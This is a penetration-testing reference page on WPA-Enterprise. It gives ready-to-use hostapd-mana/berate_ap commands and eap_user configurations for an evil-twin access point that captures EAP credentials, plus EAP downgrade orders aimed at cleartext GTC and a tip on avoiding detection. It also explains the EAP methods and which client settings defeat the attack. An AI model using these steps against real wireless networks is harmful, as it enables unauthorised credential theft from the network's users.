Navigation :

WPA-Enterprise

WPA-Enterprise delegates the authentication to a RADIUS server. Even though it is not vulnerable to any direct attack, it is still possible to intercept credentials by performing an evil-twin attack against clients.

hostapd-mana
eaphammer
Background
References

`hostapd-mana`

Using hostapd-mana with berate_ap, it is possible to create an evil-twin access point configured to intercept the credentials of various EAP methods:

berate_ap -n <iface> <ESSID> --eap --mana-wpe --mana-credout [/path/to/output] --eap-user-file [/path/to/eap_user] --eap-cert-path [/path/to/cert/dir]

Source: github.com/sensepost/hostapd-mana, github.com/sensepost/berate_ap

Use the following additional options to mimick the targeted access point configuration:

Option	Description
`--mac [00:11:22:33:44:55]`	BSSID
`-c [channel]`	Channel (list of WLAN channels)
`--freq-band [2.4/5]`	Frequency band (2.4 Ghz / 5 Ghz)
`--ieee80211n`	Enable IEEE 802.11ac
`--ieee80211ac`	Enable IEEE 802.11ac

See berate_ap -h and hostapd-mana wiki for more details.

`eap-user-file`

The eap_user file allows you to configure the EAP methods order proposed during negotiation and thus, to perform a EAP downgrade attack. If not specified, it will use the following default configuration:

# Phase 1 users
*   PEAP,TTLS,TLS,MD5,GTC

# Phase 2 users
"t" MSCHAPV2,TTLS-MSCHAPV2,MD5,GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP   "1234test"  [2]

Balanced approach:

*   PEAP,TTLS,TLS,FAST
"t" GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5  "t"   [2]

Explicit GTC downgrade:

*   PEAP [ver=1]
"t" GTC "t" [2]

Full EAP downgrade (weakest to strongest):

*   PEAP,TTLS,TLS,FAST
"t" GTC,TTLS-PAP,MD5,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,TTLS-MSCHAPV2,TTLS  "t"   [2]

Speed optimized approach (strongest to weakest):

*   PEAP,TTLS,TLS,FAST
"t" MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,GTC,TTLS-PAP,TTLS-MSCHAP,MD5  "t"   [2]

Note

This patched version of hostapd will always overwrite the user’s identity with ‘t’, in order for the single user entry of the eap_user file to always be used.

`eap-cert-path`

The eap-cert-path option allows you to configure the certificate used by the rogue RADIUS server. If not specified, it will prompt you to interactively fill-in the information and automatically create the following required files within the /tmp/create_ap.<iface>.conf.<rand> directory:

hostapd.ca.pem
hostapd.cert.pem
hostapd.dh.pem
hostapd.key.pem

Once the files have been created, save them to avoid having to fill the certificate information again:

cp /tmp/create_ap.<iface>.conf.<rand>/hostapd.*.pem <destination folder>

Note on OpenSSL

The original hostapd-mana uses the OpenSSL libraries of the system, which does not support legacy clients using SSLv2 and SSLv3 (s.a. Windows 7). To fix this issue, use the patched version available on my repository which includes a local build of OpenSSL. Below are the instructions to build from source on a Kali Linux system:

apt install build-essential pkg-config git libnl-genl-3-dev libssl-dev net-tools
git clone https://github.com/no0be/hostapd-mana --branch openssl-patch /opt/hostapd-mana
cd /opt/hostapd-mana
./build.sh
ln -sf /opt/hostapd-mana/hostapd/hostapd /usr/local/bin/hostapd-mana

`eaphammer`

The awesome eaphammer is a toolkit designed to perform attacks against WPA-Enterprise networks. It provides an easy-to-use interface that can be leveraged to execute powerful wireless attacks with minimal manual configuration. As the tool is always evolving and its documentation is well written, please refer to the original GitHub repo:

Source**: github.com/s0lst1c3/eaphammer/wiki**

Background

WPA-Enterprise, also refered to as WPA-EAP or WPA-802.1X, uses EAP to delegate the authentication to a RADIUS server. The Extensible Authentication Protocol is a framework more than a protocol, which provides a standardized set of functions and rules to specific authentication protocol implementations known as EAP methods:

EAP-TLS - the original IETF open standard EAP authentication protocol, widely supported, only allows certificate-based authentication
PEAP - encapsulates EAP within a TLS tunnel (rather an encapsulation than a method), developed by Microsoft, Cisco and RSA Security
EAP-TTLS - TLS extension to provide EAP over a TLS tunnel, widely supported (except by Microsoft)
LEAP - developed by Cisco prior to the standard, no native Microsoft support, deprecated
EAP-FAST - Cisco replacement for LEAP

These EAP methods can be divided in two categories based on the way the client authenticates: certificate authentication and credentials authentication.

Certificate Authentication

Both client and server authenticate using a certificate signed by a trusted authority.

Most common methods: EAP-TLS, PEAP with EAP-TLS

Credentials Authentication

In order to provide a way for the clients to authenticate using a username and password, the process is split in two phases:

phase 1 allows the server to authenticate by presenting a certificate and creates a secure TLS tunnel
phase 2 allows the client to authenticate by using a different protocol encapsulated within the TLS tunnel

While there are multiple authentication protocols available for phase 2, most clients will prefer to use MSCHAPv2 which is based on a two-way challenge-response. However, many devices still support weaker protocol such as GTC that transmit cleartext credentials.

Most common methods: PEAP with MSCHAPv2, EAP-TTLS with MSCHAPv2

Evil-Twin Attack

This attack consists of creating a rogue access point mimicking the targeted ESSID in order to get clients to perform the phase 2 authentication process with your rogue RADIUS server. Thus, allowing you to capture the cleartext credentials or challenge-response used during inner authentication.

This attack will not work against clients configured to:

use a certificate-based authentication (s.a. EAP-TLS or PEAP with EAP-TLS), since there is no credentials to steal
validate the server certificate during phase 1 authentication, which prevents phase 2 authentication to happen

SSL: SSL3 alert: read (remote end reported an error):fatal:unknown CA
OpenSSL: openssl_handshake - SSL_connect error:14094418:SSL routines:ssl3_read_bytes:tlsv1 alert unknown ca

EAP downgrade

Since the EAP method negotiation is initiated by the evil-twin access point, it is possible to trick the clients to use a weak authentication protocol (s.a. GTC). In fact, while legitimate access points propose EAP methods from the strongest to the weakest, the evil-twin access point can propose EAP methods from the weakest to the strongest. If you care about not getting caught, you can even mimick the EAP method order of the targeted access point.

Warning

The EAP negotiation process will propose one EAP method at a time. Thus, a full weakest to strongest EAP downgrade might add a noticeable amount of time to the authentication process, which might cause the users to abord the authentication. Since most client devices won’t accept the weaker EAP methods, a more balanced approach is usually more effective.